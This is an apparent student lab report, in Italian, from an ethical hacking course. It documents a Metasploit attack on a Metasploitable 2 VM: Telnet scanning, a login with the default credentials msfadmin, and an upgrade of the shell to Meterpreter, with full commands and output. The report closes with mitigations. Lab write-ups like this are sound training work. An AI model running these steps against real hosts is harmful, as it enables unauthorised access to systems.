

Report Tecnico: Exploitation del Servizio Telnet e Upgrade a Meterpreter

Corso: Cyber Security & Ethical Hacking

Studente: Kevin Motti

Data: 20 Gennaio 2026

Esercizio: Unit 2 - Week 3 - Esercizio 2 (Telnet)

1. Obiettivo dell'Attività

L'obiettivo dell'esercitazione è stato condurre un'analisi di vulnerabilità e un successivo sfruttamento del protocollo Telnet su una macchina target (Metasploitable 2).

A differenza di attacchi basati su vulnerabilità del codice (exploit), questa attività si è concentrata sull'abuso di credenziali deboli su un protocollo di comunicazione non cifrato, culminando nell'elevazione della sessione ottenuta a una console Meterpreter avanzata.

2. Scenario Operativo

- **Attacker (Kali Linux):** 192.168.50.10
- **Target (Metasploitable 2):** 192.168.50.11
- **Protocollo Target:** Telnet (Porta TCP 23)
- **Strumento:** Metasploit Framework

3. Esecuzione dell'Attacco (Walkthrough)

Fase 1: Scansione e Identificazione del Servizio

La prima fase ha previsto l'identificazione precisa della versione del servizio in ascolto sulla porta 23 per confermare che si trattasse di un bersaglio valido.

- **Modulo utilizzato:**

```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > show options
```

- **Configurazione:**
 - set RHOSTS 192.168.50.11
- **Risultato:** L'esecuzione del modulo ha restituito il banner del servizio, identificandolo come un server Linux Metasploitable, confermando la possibilità di procedere con l'autenticazione.

```
msf auxiliary(scanner/telnet/telnet_version) > run
[*] 192.168.50.11:23 - 192.168.50.11:23 TELNET
dev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msf
[*] 192.168.50.11:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Fase 2: Autenticazione (Login Brute Force)

Una volta identificato il servizio, è stato utilizzato un modulo di login scanner per tentare l'accesso con credenziali note.

- **Modulo utilizzato:**

```
msf auxiliary(scanner/telnet/telnet_version) > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > █
```

- **Configurazione Parametri:**

```
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.11
RHOSTS => 192.168.50.11
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > █
```

- **Esito:** Il modulo ha ottenuto con successo l'accesso, aprendo una sessione di comando (Session 1) con privilegi utente standard.

```
msf auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.50.11:23 - No active DB -- Credential data will not be saved!
[+] 192.168.50.11:23 - 192.168.50.11:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.11:23 - Attempting to start session 192.168.50.11:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.10:45899 → 192.168.50.11:23) at 2026-01-20 18:58:49 +0100
[*] 192.168.50.11:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
-----
  Id  Name  Type  Information                                     Connection
  --  ---  ---  -
   1             shell  TELNET msfadmin:msfadmin (192.168.50.11:23) 192.168.50.10:45899 → 192.168.50.11:23 (192.168.50.11)
msf auxiliary(scanner/telnet/telnet_login) > █
```

Fase 3: Gestione della Sessione

Verificato l'accesso, è stata testata l'interazione con la sessione appena creata.

- **Verifica:** Comando sessions -l per listare le connessioni attive.
- **Interazione:** Comando sessions -i 1 per entrare nella shell del sistema remoto.
- **Background:** La sessione è stata successivamente messa in background (CTRL+Z) per preparare la fase successiva.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...

Shell Banner:
msfadmin@metasploitable:~$
_____

msfadmin@metasploitable:~$ whoami
whoami
msfadmin
msfadmin@metasploitable:~$ █
```

Fase 4: Upgrade a Meterpreter (Post-Exploitation)

La shell Telnet standard è limitata nelle funzionalità. Per abilitare strumenti avanzati di post-exploitation, è stato eseguito l'upgrade della sessione a **Meterpreter**.

- **Modulo utilizzato:** post/multi/manage/shell_to_meterpreter

```
msf auxiliary(scanner/telnet/telnet_login) > post/multi/manage/shell_to_meterpreter
[-] Unknown command: post/multi/manage/shell_to_meterpreter. Run the help command for more details.
This is a module we can load. Do you want to use post/multi/manage/shell_to_meterpreter? [y/N] y
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > run
```

- **Configurazione:**
 - set SESSION 1 (Indica al modulo di agire sulla sessione Telnet precedentemente aperta).
- **Esecuzione:** Il modulo ha iniettato lo stage Meterpreter attraverso la connessione Telnet esistente.

```
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2 ...

meterpreter > pwd
/home/msfadmin
```

- **Risultato Finale:** È stata aperta una nuova sessione (Session 2) di tipo **Meterpreter**. Questo fornisce accesso a comandi avanzati come sysinfo, getuid, gestione dei processi e pivoting, non disponibili nella semplice shell Telnet.
- **Double check:** aperto un altro terminale in kali mi sono connesso al servizio ftp con l'ip della meta per verificare la veridicità delle credenziali.



4. Conclusioni e Analisi di Sicurezza

L'esercizio ha evidenziato due criticità fondamentali nella configurazione del server target:

1. **Utilizzo di Protocolli Obsoleti:** L'uso di Telnet (porta 23) è altamente insicuro poiché trasmette tutto il traffico, incluse le password, in chiaro. Un attaccante in ascolto sulla rete (Sniffing) avrebbe potuto catturare le credenziali senza nemmeno doverle indovinare.
2. **Credenziali Default:** La presenza di credenziali predefinite (msfadmin:msfadmin) non modificate ha reso l'accesso banale, aggirando qualsiasi perimetro di sicurezza.

Mitigazione Consigliata:

- Sostituire immediatamente il servizio Telnet con **SSH (Secure Shell)** per garantire la cifratura delle comunicazioni.
- Imporre una policy per il cambio obbligatorio delle password di default al primo avvio dei sistemi.